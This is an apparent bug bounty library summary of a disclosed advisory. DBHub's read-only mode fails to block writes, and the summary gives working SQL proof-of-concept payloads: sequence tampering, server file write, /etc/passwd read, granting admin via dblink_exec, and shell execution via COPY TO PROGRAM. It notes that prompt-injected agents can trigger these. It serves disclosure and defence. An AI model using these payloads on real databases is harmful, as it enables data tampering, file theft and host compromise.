# @bytebase/dbhub's read-only mode does not prevent database writes

DBHub's readonly=true never sets DB-level read-only (dead config gate), leaving only a first-keyword classifier that SELECT-wrapped functions like setval, lo_export, pg_read_file and dblink_exec bypass for writes and RCE.

- Payout: Research
- Severity: high
- Program: DBHub
- Found by: ixNyf
- Disclosed: 2026-09-24
- CVE: CVE-2026-61788
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mwwr-p57h-56pf
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mwwr-p57h-56pf
- Tags: area:oss domain:oss impact:data-leak impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:misconfiguration vuln:rce

**Target:** MCP database gateway execute_sql tool (PostgreSQL/SQLite connectors, HTTP /mcp endpoint)
**Root cause:** Connector-level read-only (default_transaction_read_only / SQLite readOnly) is gated on config.readonly, which is only populated from source.readonly — a field the config schema and TOML loader forbid, so the backstop is dead code. Only a leading-keyword classifier remains, and it ignores functions invoked inside SELECT.
**Steps:**
1. Configure a source and `[[tools]] name="execute_sql" readonly = true` in TOML.
2. Start `npx @bytebase/dbhub@latest --transport http --port 8080` (unauthenticated, binds 0.0.0.0).
3. Call execute_sql with `SELECT setval('users_id_seq', 1);` — succeeds despite readonly.
4. With a privileged role: `SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc');` writes a server file.
5. `SELECT pg_read_file('/etc/passwd');` reads host files.
6. `SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true');` writes via a fresh non-read-only connection.
7. `SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$);` executes shell commands.
8. Reproduce classifier decision offline by running isReadOnlySQL + splitSQLStatements + areAllStatementsReadOnly over these strings: all return read-only=true.
**How found:** Code reading: noticed the 'SDK-level readonly enforcement' comments in the Postgres/SQLite connectors, traced config.readonly back to source.readonly, and found the schema has no such field and the TOML loader explicitly rejects it — proving the branch is unreachable. Then audited the fallback classifier and observed it only inspects the leading keyword, never called functions.
**Exploitation:** Any caller reaching the unauthenticated /mcp HTTP endpoint (or a malicious MCP client, or prompt-injected agent content) sends SELECT statements wrapping side-effecting functions. With an ordinary role this tampers sequences; with the commonly-configured admin DSN it yields arbitrary server file write (lo_export), host file read (pg_read_file), writes through dblink's new connection, and RCE via dblink_exec + COPY ... TO PROGRAM.
**Escalation:** Ordinary-role sequence tampering escalates to full host compromise when DBHub is pointed at a privileged DSN: file write/read and shell command execution on the database host.
**Insight:** When a security control is gated on a config value, trace every assignment site to prove it can actually be set — a comment claiming enforcement plus an unreachable branch is a silent fail-open. For SQL read-only checks, keyword allow-lists are insufficient: enumerate side-effecting functions (setval/nextval, lo_export, pg_read_file, dblink_exec, COPY TO PROGRAM) and enforce at the engine (BEGIN READ ONLY / query_only) instead.

## Proof of concept (copied exactly from the original report)

**SQL statements bypassing read-only classifier**

```
SELECT setval('users_id_seq', 1);
 
With a privileged role, the rest are also accepted and executed:
 
SELECT lo_export(lo_from_bytea(0, decode('48656c6c6f0a','hex')), '/tmp/dbhub_poc');   -- writes /tmp/dbhub_poc
SELECT pg_read_file('/etc/passwd');                                                  -- reads a host file
SELECT dblink_exec('dbname=app', 'UPDATE users SET admin=true');                     -- write via a new connection
SELECT dblink_exec('dbname=app', $$COPY (SELECT 1) TO PROGRAM 'id > /tmp/pwned'$$);  -- runs a shell command
```

**TOML config enabling readonly tool**

```
[[sources]]
id = "default"
dsn = "postgres://app:app@localhost:5432/app"
 
[[tools]]
name = "execute_sql"
source = "default"
readonly = true
```

**Startup command for HTTP transport**

```
npx @bytebase/dbhub@latest --transport http --port 8080
```

